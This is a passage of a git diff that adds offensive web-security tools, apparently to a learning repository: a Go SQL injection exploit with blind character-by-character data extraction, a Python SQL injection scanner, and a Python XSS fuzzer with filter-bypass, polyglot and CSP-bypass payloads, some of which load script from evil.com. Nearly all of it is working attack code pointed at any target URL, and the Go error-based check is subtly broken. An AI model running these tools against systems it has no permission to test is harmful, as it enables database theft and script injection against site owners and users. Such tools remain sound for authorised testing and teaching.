+	var req *http.Request
+	var err error
+
+	targetURL := s.TargetURL
+
+	if s.Method == "GET" {
+		u, _ := url.Parse(targetURL)
+		q := u.Query()
+		q.Set(s.Param, payload)
+		u.RawQuery = q.Encode()
+		req, err = http.NewRequest("GET", u.String(), nil)
+	} else {
+		data := url.Values{}
+		data.Set(s.Param, payload)
+		req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode()))
+		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	}
+
+	if err != nil {
+		return "", 0, err
+	}
+
+	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
+
+	resp, err := s.Client.Do(req)
+	if err != nil {
+		return "", 0, err
+	}
+	defer resp.Body.Close()
+
+	body, _ := io.ReadAll(resp.Body)
+	return string(body), len(body), nil
+}
+
+func (s *SQLiExploit) TestTimeBased(payloads []struct {
+	Payload string
+	DBMS    string
+	Delay   time.Duration
+}) []InjectionResult {
+	var results []InjectionResult
+	var mu sync.Mutex
+
+	var wg sync.WaitGroup
+	sem := make(chan struct{}, s.Threads)
+
+	for _, p := range payloads {
+		wg.Add(1)
+		go func(payload, dbms string, delay time.Duration) {
+			defer wg.Done()
+			sem <- struct{}{}
+			defer func() { <-sem }()
+
+			start := time.Now()
+			_, respLen, err := s.SendRequest(payload)
+			elapsed := time.Since(start)
+
+			if err == nil && elapsed >= delay-500*time.Millisecond {
+				mu.Lock()
+				results = append(results, InjectionResult{
+					Payload:     payload,
+					VulnType:    "Time-based Blind",
+					DBMS:        dbms,
+					ResponseLen: respLen,
+				})
+				mu.Unlock()
+				fmt.Printf("%s[VULN]%s [Time-based] %s - Delay: %v - DBMS: %s\n",
+					colorRed+colorBold, colorEnd, payload, elapsed, dbms)
+			}
+		}(p.Payload, p.DBMS, p.Delay)
+	}
+
+	wg.Wait()
+	return results
+}
+
+func (s *SQLiExploit) TestErrorBased(payloads []struct {
+	Payload string
+	Type    string
+}) []InjectionResult {
+	var results []InjectionResult
+
+	errorPatterns := map[string]string{
+		"MySQL":      "SQL syntax.*MySQL|Warning.*mysql_|MySqlException",
+		"PostgreSQL": "PostgreSQL.*ERROR|Warning.*pg_|pg_query",
+		"MSSQL":      "Microsoft SQL Server|ODBC SQL Server|SQLServer",
+		"Oracle":     "ORA-\\d{5}|Oracle.*Driver",
+		"SQLite":     "SQLite.*error|sqlite3.OperationalError",
+	}
+
+	for _, p := range payloads {
+		body, respLen, err := s.SendRequest(p.Payload)
+		if err != nil {
+			continue
+		}
+
+		for dbms, pattern := range errorPatterns {
+			if strings.Contains(body, "SQL") || strings.Contains(body, "error") ||
+				strings.Contains(body, "Error") || strings.Contains(body, "Warning") {
+				results = append(results, InjectionResult{
+					Payload:     p.Payload,
+					VulnType:    "Error-based",
+					DBMS:        dbms,
+					ResponseLen: respLen,
+				})
+				fmt.Printf("%s[VULN]%s [Error-based] %s - DBMS: %s\n",
+					colorRed+colorBold, colorEnd, p.Payload, dbms)
+				break
+			}
+		}
+	}
+
+	return results
+}
+
+func (s *SQLiExploit) ExtractData(query string, technique string, dbms string, maxLen int) string {
+	var result strings.Builder
+	charset := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-@."
+
+	fmt.Printf("\n%s[*]%s Extracting: %s\n", colorCyan, colorEnd, query)
+
+	for pos := 1; pos <= maxLen; pos++ {
+		found := false
+		for _, char := range charset {
+			var payload string
+
+			if technique == "time" {
+				switch dbms {
+				case "mysql":
+					payload = fmt.Sprintf("1' AND IF(SUBSTRING((%s),%d,1)='%c',SLEEP(1),0)-- -", query, pos, char)
+				case "mssql":
+					payload = fmt.Sprintf("1'; IF SUBSTRING((%s),%d,1)='%c' WAITFOR DELAY '0:0:1'-- -", query, pos, char)
+				case "postgresql":
+					payload = fmt.Sprintf("1' AND CASE WHEN SUBSTRING((%s),%d,1)='%c' THEN pg_sleep(1) END-- -", query, pos, char)
+				}
+
+				start := time.Now()
+				s.SendRequest(payload)
+				elapsed := time.Since(start)
+
+				if elapsed >= 900*time.Millisecond {
+					result.WriteByte(byte(char))
+					found = true
+					fmt.Printf("\r%s[+]%s Extracted: %s", colorGreen, colorEnd, result.String())
+					break
+				}
+			}
+		}
+
+		if !found {
+			break
+		}
+	}
+
+	fmt.Println()
+	return result.String()
+}
+
+func main() {
+	target := flag.String("u", "", "Target URL")
+	method := flag.String("m", "GET", "HTTP Method (GET/POST)")
+	param := flag.String("p", "id", "Parameter to inject")
+	threads := flag.Int("t", 5, "Number of threads")
+	timeout := flag.Duration("timeout", 10*time.Second, "Request timeout")
+	technique := flag.String("technique", "time", "Injection technique (time/error/bool)")
+	extract := flag.String("extract", "", "Data to extract (user/database/version)")
+	query := flag.String("query", "", "Custom SQL query")
+	dbms := flag.String("dbms", "mysql", "Database type (mysql/mssql/postgresql)")
+
+	flag.Parse()
+
+	if *target == "" {
+		fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
+		flag.Usage()
+		return
+	}
+
+	fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
+	fmt.Printf("%sSQL Injection Exploit Tool (Go)%s\n", colorBold, colorEnd)
+	fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
+
+	exploit := NewSQLiExploit(*target, *method, *param, *threads, *timeout)
+
+	fmt.Printf("%s[INFO]%s Target: %s\n", colorBlue, colorEnd, *target)
+	fmt.Printf("%s[INFO]%s Method: %s\n", colorBlue, colorEnd, *method)
+	fmt.Printf("%s[INFO]%s Parameter: %s\n", colorBlue, colorEnd, *param)
+	fmt.Printf("%s[INFO]%s Technique: %s\n", colorBlue, colorEnd, *technique)
+
+	timePayloads := []struct {
+		Payload string
+		DBMS    string
+		Delay   time.Duration
+	}{
+		{"1' AND SLEEP(1)-- -", "MySQL", 1 * time.Second},
+		{"1' AND (SELECT SLEEP(1))-- -", "MySQL", 1 * time.Second},
+		{"1'; WAITFOR DELAY '0:0:1'-- -", "MSSQL", 1 * time.Second},
+		{"1' AND pg_sleep(1)-- -", "PostgreSQL", 1 * time.Second},
+		{"1' AND (SELECT dbms_pipe.receive_message('a',1) FROM dual)-- -", "Oracle", 1 * time.Second},
+	}
+
+	errorPayloads := []struct {
+		Payload string
+		Type    string
+	}{
+		{"'", "Single Quote"},
+		{"\"", "Double Quote"},
+		{"' OR 1=1-- -", "OR Injection"},
+		{"' AND 1=1-- -", "AND Injection"},
+		{"' UNION SELECT NULL-- -", "UNION"},
+	}
+
+	var allResults []InjectionResult
+
+	fmt.Printf("\n%s[*]%s Testing Time-based Injection...\n", colorCyan, colorEnd)
+	timeResults := exploit.TestTimeBased(timePayloads)
+	allResults = append(allResults, timeResults...)
+
+	fmt.Printf("\n%s[*]%s Testing Error-based Injection...\n", colorCyan, colorEnd)
+	errorResults := exploit.TestErrorBased(errorPayloads)
+	allResults = append(allResults, errorResults...)
+
+	if *extract != "" || *query != "" {
+		var extractQuery string
+		switch *extract {
+		case "user":
+			switch *dbms {
+			case "mysql":
+				extractQuery = "SELECT user()"
+			case "mssql":
+				extractQuery = "SELECT SYSTEM_USER"
+			case "postgresql":
+				extractQuery = "SELECT current_user"
+			}
+		case "database":
+			switch *dbms {
+			case "mysql":
+				extractQuery = "SELECT database()"
+			case "mssql":
+				extractQuery = "SELECT DB_NAME()"
+			case "postgresql":
+				extractQuery = "SELECT current_database()"
+			}
+		case "version":
+			switch *dbms {
+			case "mysql":
+				extractQuery = "SELECT version()"
+			case "mssql":
+				extractQuery = "SELECT @@version"
+			case "postgresql":
+				extractQuery = "SELECT version()"
+			}
+		default:
+			extractQuery = *query
+		}
+
+		if extractQuery != "" {
+			result := exploit.ExtractData(extractQuery, *technique, *dbms, 100)
+			fmt.Printf("\n%s[+]%s Result: %s\n", colorGreen, colorEnd, result)
+		}
+	}
+
+	fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
+	fmt.Printf("%s[SUMMARY]%s Found %d vulnerabilities\n", colorGreen, colorEnd, len(allResults))
+	for _, r := range allResults {
+		fmt.Printf("  - [%s] %s - %s\n", r.VulnType, r.DBMS, r.Payload)
+	}
+	fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
+}
diff --git a/01-sql-injection/tools/sqli-scanner.py b/01-sql-injection/tools/sqli-scanner.py
new file mode 100644
index 00000000..244459b7
--- /dev/null
+++ b/01-sql-injection/tools/sqli-scanner.py
@@ -0,0 +1,363 @@
+#!/usr/bin/env python3
+"""
+SQL Injection Scanner
+自动检测SQL注入漏洞点
+
+支持:
+- GET/POST 参数注入
+- Cookie 注入
+- Header 注入
+- 时间盲注检测
+- 布尔盲注检测
+- 报错注入检测
+
+Usage:
+    python3 sqli-scanner.py -u "http://target.com/page?id=1"
+    python3 sqli-scanner.py -u "http://target.com" --data "id=1&name=test"
+    python3 sqli-scanner.py -u "http://target.com" --cookie "id=1"
+"""
+
+import argparse
+import requests
+import re
+import time
+import urllib.parse
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from typing import List, Dict, Tuple, Optional
+import sys
+
+
+class Colors:
+    RED = "\033[91m"
+    GREEN = "\033[92m"
+    YELLOW = "\033[93m"
+    BLUE = "\033[94m"
+    END = "\033[0m"
+    BOLD = "\033[1m"
+
+
+class SQLiScanner:
+    def __init__(self, timeout: int = 10, threads: int = 5):
+        self.timeout = timeout
+        self.threads = threads
+        self.session = requests.Session()
+        self.session.headers.update(
+            {
+                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+            }
+        )
+
+        self.error_patterns = [
+            r"SQL syntax.*MySQL",
+            r"Warning.*mysql_.*",
+            r"MySqlException",
+            r"PostgreSQL.*ERROR",
+            r"Warning.*pg_.*",
+            r"Invalid query: pg_",
+            r"ORA-\d{5}",
+            r"Oracle.*Driver",
+            r"Warning.*oci_.*",
+            r"Microsoft SQL Server",
+            r"ODBC SQL Server Driver",
+            r"SQLite.*error",
+            r"sqlite3.OperationalError",
+            r"Syntax error.*SQLite",
+            r"Warning.*sqlite_",
+            r"DB2 SQL error",
+            r"DB2 SQLSTATE",
+            r"Dynamic SQL Error",
+            r"Warning.*ibase_",
+            r"PLS-\d{5}",
+            r"ORA-\d{5}",
+            r"Error.*SQL.*",
+            r"Exception.*SQL",
+            r"SQLSTATE\[\d+\]",
+            r"mysql_fetch",
+            r"mysql_num_rows",
+            r"pg_query",
+            r"mysql_query",
+        ]
+
+        self.time_payloads = [
+            ("' AND SLEEP(5)-- -", "MySQL"),
+            ("' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -", "MySQL"),
+            ("'; WAITFOR DELAY '0:0:5'-- -", "MSSQL"),
+            ("' AND 1=1; WAITFOR DELAY '0:0:5'-- -", "MSSQL"),
+            ("' AND pg_sleep(5)-- -", "PostgreSQL"),
+            ("' OR (SELECT pg_sleep(5))-- -", "PostgreSQL"),
+            ("' AND (SELECT dbms_pipe.receive_message('a',5) FROM dual)-- -", "Oracle"),
+            ("'||dbms_pipe.receive_message(chr(99),5)-- -", "Oracle"),
+        ]
+
+        self.bool_payloads = [
+            ("' AND 1=1-- -", "' AND 1=2-- -", "Boolean-based"),
+            ("' OR '1'='1", "' OR '1'='2", "Boolean-based"),
+            ("1 AND 1=1", "1 AND 1=2", "Boolean-based (numeric)"),
+            ("1 OR 1=1", "1 OR 1=2", "Boolean-based (numeric)"),
+        ]
+
+        self.error_payloads = [
+            ("'", "Single quote"),
+            ('"', "Double quote"),
+            ("\\", "Backslash"),
+            ("')", "Single quote parenthesis"),
+            ('")', "Double quote parenthesis"),
+            ("' OR 1=1-- -", "OR injection"),
+            (
+                "' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -",
+                "MSSQL error",
+            ),
+            (
+                "' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -",
+                "MySQL error",
+            ),
+            ("' AND 1=CAST((SELECT version()) AS INT)-- -", "PostgreSQL error"),
+        ]
+
+    def print_result(self, level: str, msg: str):
+        colors = {
+            "INFO": Colors.BLUE,
+            "SUCCESS": Colors.GREEN,
+            "WARNING": Colors.YELLOW,
+            "ERROR": Colors.RED,
+            "VULN": Colors.RED + Colors.BOLD,
+        }
+        print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
+
+    def test_error_based(
+        self,
+        url: str,
+        param: str,
+        method: str = "GET",
+        data: Dict = None,
+        cookies: Dict = None,
+    ) -> Tuple[bool, Optional[str]]:
+        """测试报错注入"""
+        original_resp = self._request(url, method, data, cookies)
+        if not original_resp:
+            return False, None
+
+        original_len = len(original_resp.text)
+
+        for payload, desc in self.error_payloads:
+            test_data = data.copy() if data else {}
+            test_data[param] = payload
+
+            resp = self._request(url, method, test_data, cookies)
+            if not resp:
+                continue
+
+            for pattern in self.error_patterns:
+                if re.search(pattern, resp.text, re.IGNORECASE):
+                    return (
+                        True,
+                        f"[报错注入] {param} - Payload: {payload} - 类型: {desc} - 匹配: {pattern}",
+                    )
+
+            if abs(len(resp.text) - original_len) > 500:
+                return (
+                    True,
+                    f"[报错注入] {param} - Payload: {payload} - 响应长度差异: {abs(len(resp.text) - original_len)}",
+                )
+
+        return False, None
+
+    def test_time_based(
+        self,
+        url: str,
+        param: str,
+        method: str = "GET",
+        data: Dict = None,
+        cookies: Dict = None,
+    ) -> Tuple[bool, Optional[str]]:
+        """测试时间盲注"""
+        for payload, db_type in self.time_payloads:
+            test_data = data.copy() if data else {}
+            test_data[param] = payload
+
+            start_time = time.time()
+            resp = self._request(url, method, test_data, cookies, timeout=15)
+            elapsed = time.time() - start_time
+
+            if elapsed >= 4.5:
+                return (
+                    True,
+                    f"[时间盲注] {param} - Payload: {payload} - 数据库: {db_type} - 延迟: {elapsed:.2f}s",
+                )
+
+        return False, None
+
+    def test_bool_based(
+        self,
+        url: str,
+        param: str,
+        method: str = "GET",
+        data: Dict = None,
+        cookies: Dict = None,
+    ) -> Tuple[bool, Optional[str]]:
+        """测试布尔盲注"""
+        for true_payload, false_payload, desc in self.bool_payloads:
+            test_data_true = data.copy() if data else {}
+            test_data_true[param] = true_payload
+
+            test_data_false = data.copy() if data else {}
+            test_data_false[param] = false_payload
+
+            resp_true = self._request(url, method, test_data_true, cookies)
+            resp_false = self._request(url, method, test_data_false, cookies)
+
+            if not resp_true or not resp_false:
+                continue
+
+            diff = abs(len(resp_true.text) - len(resp_false.text))
+
+            if diff > 100:
+                return (
+                    True,
+                    f"[布尔盲注] {param} - True: {true_payload} - False: {false_payload} - 长度差: {diff}",
+                )
+
+            true_text = resp_true.text.lower()
+            false_text = resp_false.text.lower()
+
+            if (
+                "success" in true_text or "welcome" in true_text or "admin" in true_text
+            ) and (
+                "error" in false_text or "fail" in false_text or "wrong" in false_text
+            ):
+                return True, f"[布尔盲注] {param} - 关键词差异检测到 - {desc}"
+
+        return False, None
+
+    def _request(
+        self,
+        url: str,
+        method: str,
+        data: Dict = None,
+        cookies: Dict = None,
+        timeout: int = None,
+    ) -> Optional[requests.Response]:
+        """发送HTTP请求"""
+        try:
+            if method.upper() == "GET":
+                params = urllib.parse.urlencode(data) if data else ""
+                full_url = f"{url}?{params}" if params else url
+                return self.session.get(
+                    full_url,
+                    cookies=cookies,
+                    timeout=timeout or self.timeout,
+                    verify=False,
+                )
+            else:
+                return self.session.post(
+                    url,
+                    data=data,
+                    cookies=cookies,
+                    timeout=timeout or self.timeout,
+                    verify=False,
+                )
+        except requests.exceptions.RequestException as e:
+            return None
+
+    def scan_url(
+        self,
+        url: str,
+        method: str = "GET",
+        data: Dict = None,
+        cookies: Dict = None,
+        params: List[str] = None,
+    ) -> List[str]:
+        """扫描URL"""
+        results = []
+
+        if not params:
+            if method == "GET":
+                parsed = urllib.parse.urlparse(url)
+                params = list(urllib.parse.parse_qs(parsed.query).keys())
+            else:
+                params = list(data.keys()) if data else []
+
+        if not params:
+            self.print_result("WARNING", f"未找到可测试的参数")
+            return results
+
+        self.print_result("INFO", f"开始扫描 {len(params)} 个参数: {', '.join(params)}")
+
+        for param in params:
+            self.print_result("INFO", f"测试参数: {param}")
+
+            vuln, msg = self.test_error_based(url, param, method, data, cookies)
+            if vuln:
+                results.append(msg)
+                self.print_result("VULN", msg)
+                continue
+
+            vuln, msg = self.test_bool_based(url, param, method, data, cookies)
+            if vuln:
+                results.append(msg)
+                self.print_result("VULN", msg)
+                continue
+
+            vuln, msg = self.test_time_based(url, param, method, data, cookies)
+            if vuln:
+                results.append(msg)
+                self.print_result("VULN", msg)
+
+        return results
+
+
+def main():
+    parser = argparse.ArgumentParser(description="SQL Injection Scanner")
+    parser.add_argument("-u", "--url", required=True, help="目标URL")
+    parser.add_argument(
+        "-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
+    )
+    parser.add_argument("-d", "--data", help="POST数据 (格式: id=1&name=test)")
+    parser.add_argument("-c", "--cookie", help="Cookie")
+    parser.add_argument("-p", "--params", help="指定参数 (逗号分隔)")
+    parser.add_argument("-t", "--threads", type=int, default=5, help="线程数")
+    parser.add_argument("--timeout", type=int, default=10, help="超时时间")
+
+    args = parser.parse_args()
+
+    requests.packages.urllib3.disable_warnings()
+
+    scanner = SQLiScanner(timeout=args.timeout, threads=args.threads)
+
+    data = {}
+    if args.data:
+        for pair in args.data.split("&"):
+            if "=" in pair:
+                k, v = pair.split("=", 1)
+                data[k] = v
+
+    cookies = {}
+    if args.cookie:
+        for pair in args.cookie.split(";"):
+            if "=" in pair:
+                k, v = pair.strip().split("=", 1)
+                cookies[k] = v
+
+    params = args.params.split(",") if args.params else None
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
+    print(f"{Colors.BOLD}SQL Injection Scanner{Colors.END}")
+    print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+    scanner.print_result("INFO", f"目标: {args.url}")
+    scanner.print_result("INFO", f"方法: {args.method}")
+
+    results = scanner.scan_url(args.url, args.method, data, cookies, params)
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
+    if results:
+        scanner.print_result("SUCCESS", f"发现 {len(results)} 个SQL注入漏洞!")
+        for r in results:
+            print(f"  - {r}")
+    else:
+        scanner.print_result("INFO", "未发现SQL注入漏洞")
+    print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/02-xss/tools/xss-fuzzer.py b/02-xss/tools/xss-fuzzer.py
new file mode 100644
index 00000000..2fba0041
--- /dev/null
+++ b/02-xss/tools/xss-fuzzer.py
@@ -0,0 +1,409 @@
+#!/usr/bin/env python3
+"""
+XSS Fuzzer - XSS Payload 模糊测试工具
+
+支持:
+- 反射型 XSS 检测
+- 存储型 XSS 检测
+- DOM 型 XSS 检测
+- CSP 绕过测试
+- 自定义 Payload
+
+Usage:
+    python3 xss-fuzzer.py -u "http://target.com/search?q=test"
+    python3 xss-fuzzer.py -u "http://target.com/comment" -d "comment=test" -m POST
+    python3 xss-fuzzer.py -u "http://target.com" --dom-scan
+"""
+
+import argparse
+import requests
+import re
+import urllib.parse
+from typing import List, Dict, Tuple, Optional
+import time
+
+
+class Colors:
+    RED = "\033[91m"
+    GREEN = "\033[92m"
+    YELLOW = "\033[93m"
+    BLUE = "\033[94m"
+    CYAN = "\033[96m"
+    END = "\033[0m"
+    BOLD = "\033[1m"
+
+
+class XSSFuzzer:
+    def __init__(self, timeout: int = 10):
+        self.timeout = timeout
+        self.session = requests.Session()
+        self.session.headers.update(
+            {
+                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+            }
+        )
+
+        self.payloads = {
+            "basic": [
+                "<script>alert('XSS')</script>",
+                "<script>alert(1)</script>",
+                "<script>alert(document.domain)</script>",
+                "<img src=x onerror=alert(1)>",
+                "<img src=x onerror=alert('XSS')>",
+                "<svg onload=alert(1)>",
+                "<svg/onload=alert(1)>",
+                "<body onload=alert(1)>",
+                "<iframe src='javascript:alert(1)'>",
+                "'\"><script>alert(1)</script>",
+            ],
+            "event_handlers": [
+                '"onfocus=alert(1) autofocus=',
+                "'onfocus=alert(1) autofocus='",
+                '"onmouseover=alert(1)//',
+                "'onmouseover=alert(1)//",
+                '"onclick=alert(1)//',
+                "'onclick=alert(1)//",
+                '"onerror=alert(1)//',
+                '"onload=alert(1)//',
+                '"oninput=alert(1)//',
+                '"onchange=alert(1)//',
+            ],
+            "tag_injection": [
+                "<img src=x onerror=alert(1)//",
+                "<svg/onload=alert(1)//",
+                "<body/onload=alert(1)//",
+                "<video src=x onerror=alert(1)>",
+                "<audio src=x onerror=alert(1)>",
+                "<input onfocus=alert(1) autofocus>",
+                "<marquee onstart=alert(1)>",
+                "<details open ontoggle=alert(1)>",
+                "<embed src=javascript:alert(1)>",
+                "<object data=javascript:alert(1)>",
+            ],
+            "encoding": [
+                "%3Cscript%3Ealert(1)%3C/script%3E",
+                "&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;",
+                "&#60;script&#62;alert(1)&#60;/script&#62;",
+                "\\x3cscript\\x3ealert(1)\\x3c/script\\x3e",
+                "\\u003cscript\\u003ealert(1)\\u003c/script\\u003e",
+            ],
+            "csp_bypass": [
+                "<script/src='https://evil.com/xss.js'></script>",
+                "<link rel=import href='https://evil.com/xss.html'>",
+                "<object/data='javascript:alert(1)'>",
+                "<embed/src='javascript:alert(1)'>",
+                "<form><button formaction=javascript:alert(1)>Click",
+            ],
+            "filter_bypass": [
+                "<ScRiPt>alert(1)</ScRiPt>",
+                "<SCRIPT>alert(1)</SCRIPT>",
+                "<script >alert(1)</script >",
+                "<script\n>alert(1)</script\n>",
+                "<script\t>alert(1)</script\t>",
+                "<script\x00>alert(1)</script>",
+                "<scr<script>ipt>alert(1)</scr</script>ipt>",
+                "<<script>script>alert(1)//<</script>/script>",
+            ],
+            "polyglot": [
+                "jaVasCript:/*-/*`/*\\`/*'/*\"/**/(/* */oNcLiCk=alert() )//",
+                '\'">><marquee><img src=x onerror=alert(1)></marquee>"></plaintext\\></|\\><plaintext/onmouseover=prompt(1)>',
+                "<svg/onload=alert(1)>'-alert(1)-'",
+                '"><script>alert(1)</script><img src=x onerror=alert(1)>',
+                "javascript:alert(1)//';alert(String.fromCharCode(88,83,83))//",
+            ],
+        }
+
+        self.dom_sinks = [
+            "document.write",
+            "document.writeln",
+            "document.domain",
+            "element.innerHTML",
+            "element.outerHTML",
+            "eval",
+            "setTimeout",
+            "setInterval",
+            "Function",
+            "location",
+            "location.href",
+            "location.replace",
+            "location.assign",
+            "window.open",
+            "document.cookie",
+        ]
+
+    def print_result(self, level: str, msg: str):
+        colors = {
+            "INFO": Colors.BLUE,
+            "SUCCESS": Colors.GREEN,
+            "WARNING": Colors.YELLOW,
+            "ERROR": Colors.RED,
+            "VULN": Colors.RED + Colors.BOLD,
+        }
+        print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
+
+    def test_reflected(
+        self,
+        url: str,
+        param: str,
+        method: str = "GET",
+        data: Dict = None,
+        cookies: Dict = None,
+    ) -> List[Dict]:
+        """测试反射型 XSS"""
+        results = []
+
+        for category, payloads in self.payloads.items():
+            self.print_result("INFO", f"测试 Payload 类别: {category}")
+
+            for payload in payloads:
+                test_data = data.copy() if data else {}
+                test_data[param] = payload
+
+                try:
+                    if method.upper() == "GET":
+                        params = urllib.parse.urlencode(test_data)
+                        full_url = f"{url}?{params}"
+                        resp = self.session.get(
+                            full_url,
+                            cookies=cookies,
+                            timeout=self.timeout,
+                            verify=False,
+                        )
+                    else:
+                        resp = self.session.post(
+                            url,
+                            data=test_data,
+                            cookies=cookies,
+                            timeout=self.timeout,
+                            verify=False,
+                        )
+
+                    if payload in resp.text:
+                        result = {
+                            "type": "Reflected XSS",
+                            "category": category,
+                            "param": param,
+                            "payload": payload,
+                            "evidence": f"Payload 在响应中找到",
+                            "url": full_url if method == "GET" else url,
+                        }
+                        results.append(result)
+                        self.print_result(
+                            "VULN", f"[{category}] {param} - {payload[:50]}..."
+                        )
+
+                    time.sleep(0.1)
+
+                except Exception as e:
+                    continue
+
+        return results
+
+    def test_context(
+        self,
+        url: str,
+        param: str,
+        method: str = "GET",
+        data: Dict = None,
+        cookies: Dict = None,
+    ) -> Dict:
+        """分析注入上下文"""
+        test_payloads = [
+            ("'", "Single Quote"),
+            ('"', "Double Quote"),
+            ("<", "Less Than"),
+            (">", "Greater Than"),
+            ("&", "Ampersand"),
+            ("${", "Template Literal"),
+            ("{{", "Template Expression"),
+        ]
+
+        contexts = {}
+
+        for payload, desc in test_payloads:
+            test_data = data.copy() if data else {}
+            test_data[param] = payload
+
+            try:
+                if method.upper() == "GET":
+                    params = urllib.parse.urlencode(test_data)
+                    full_url = f"{url}?{params}"
+                    resp = self.session.get(
+                        full_url, cookies=cookies, timeout=self.timeout, verify=False
+                    )
+                else:
+                    resp = self.session.post(
+                        url,
+                        data=test_data,
+                        cookies=cookies,
+                        timeout=self.timeout,
+                        verify=False,
+                    )
+
+                if payload in resp.text:
+                    contexts[desc] = "未过滤"
+                else:
+                    contexts[desc] = "已过滤"
+
+            except Exception:
+                contexts[desc] = "请求失败"
+
+        return contexts
+
+    def scan_dom_xss(self, url: str, cookies: Dict = None) -> List[Dict]:
+        """扫描 DOM XSS 漏洞"""
+        results = []
+
+        try:
+            resp = self.session.get(
+                url, cookies=cookies, timeout=self.timeout, verify=False
+            )
+            html = resp.text
+
+            patterns = [
+                (r"document\.write\s*\([^)]*location", "document.write with location"),
+                (
+                    r"document\.write\s*\([^)]*location\.hash",
+                    "document.write with location.hash",
+                ),
+                (r"element\.innerHTML\s*=\s*[^;]*location", "innerHTML with location"),
+                (r"eval\s*\([^)]*location", "eval with location"),
+                (r"setTimeout\s*\([^)]*location", "setTimeout with location"),
+                (r"\$\{[^}]*location", "Template literal with location"),
+                (r"window\.location\.hash", "location.hash usage"),
+                (r"document\.URL", "document.URL usage"),
+                (r"document\.documentURI", "document.documentURI usage"),
+                (r"document\.baseURI", "document.baseURI usage"),
+            ]
+
+            for pattern, desc in patterns:
+                if re.search(pattern, html, re.IGNORECASE):
+                    results.append(
+                        {
+                            "type": "Potential DOM XSS",
+                            "pattern": pattern,
+                            "description": desc,
+                        }
+                    )
+                    self.print_result("WARNING", f"发现潜在 DOM XSS: {desc}")
+
+        except Exception as e:
+            self.print_result("ERROR", f"扫描失败: {e}")
+
+        return results
+
+    def check_csp(self, url: str, cookies: Dict = None) -> Dict:
+        """检查 CSP 策略"""
+        result = {"has_csp": False, "csp_header": None, "weaknesses": []}
+
+        try:
+            resp = self.session.get(
+                url, cookies=cookies, timeout=self.timeout, verify=False
+            )
+
+            csp = resp.headers.get("Content-Security-Policy")
+            if csp:
+                result["has_csp"] = True
+                result["csp_header"] = csp
+
+                if "unsafe-inline" in csp:
+                    result["weaknesses"].append("允许内联脚本 (unsafe-inline)")
+                if "unsafe-eval" in csp:
+                    result["weaknesses"].append("允许 eval (unsafe-eval)")
+                if "*" in csp:
+                    result["weaknesses"].append("使用通配符 (*)")
+                if "data:" in csp:
+                    result["weaknesses"].append("允许 data: 协议")
+                if "http:" in csp:
+                    result["weaknesses"].append("允许不安全 HTTP")
+            else:
+                result["weaknesses"].append("未配置 CSP")
+
+        except Exception as e:
+            result["error"] = str(e)
+
+        return result
+
+
+def main():
+    parser = argparse.ArgumentParser(description="XSS Fuzzer")
+    parser.add_argument("-u", "--url", required=True, help="目标URL")
+    parser.add_argument("-p", "--param", default="q", help="测试参数")
+    parser.add_argument(
+        "-m", "--method", default="GET", choices=["GET", "POST"], help="HTTP方法"
+    )
+    parser.add_argument("-d", "--data", help="POST数据")
+    parser.add_argument("-c", "--cookie", help="Cookie")
+    parser.add_argument("--dom-scan", action="store_true", help="扫描DOM XSS")
+    parser.add_argument("--check-csp", action="store_true", help="检查CSP策略")
+    parser.add_argument(
+        "--all-categories", action="store_true", help="测试所有Payload类别"
+    )
+    parser.add_argument("--timeout", type=int, default=10, help="超时时间")
+
+    args = parser.parse_args()
+
+    requests.packages.urllib3.disable_warnings()
+
+    fuzzer = XSSFuzzer(timeout=args.timeout)
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
+    print(f"{Colors.BOLD}XSS Fuzzer{Colors.END}")
+    print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+    data = {}
+    if args.data:
+        for pair in args.data.split("&"):
+            if "=" in pair:
+                k, v = pair.split("=", 1)
+                data[k] = v
+
+    cookies = {}
+    if args.cookie:
+        for pair in args.cookie.split(";"):
+            if "=" in pair:
+                k, v = pair.strip().split("=", 1)
+                cookies[k] = v
+
+    if args.check_csp:
+        fuzzer.print_result("INFO", "检查 CSP 策略...")
+        csp_result = fuzzer.check_csp(args.url, cookies)
+        if csp_result["has_csp"]:
+            fuzzer.print_result(
+                "SUCCESS", f"CSP 已配置: {csp_result['csp_header'][:100]}..."
+            )
+            for w in csp_result["weaknesses"]:
+                fuzzer.print_result("WARNING", f"  - {w}")
+        else:
+            fuzzer.print_result("WARNING", "未配置 CSP!")
+            for w in csp_result["weaknesses"]:
+                fuzzer.print_result("WARNING", f"  - {w}")
+
+    if args.dom_scan:
+        fuzzer.print_result("INFO", "扫描 DOM XSS...")
+        dom_results = fuzzer.scan_dom_xss(args.url, cookies)
+        for r in dom_results:
+            fuzzer.print_result("WARNING", f"  - {r['description']}")
+
+    fuzzer.print_result("INFO", f"测试参数: {args.param}")
+
+    context = fuzzer.test_context(args.url, args.param, args.method, data, cookies)
+    fuzzer.print_result("INFO", "上下文分析:")
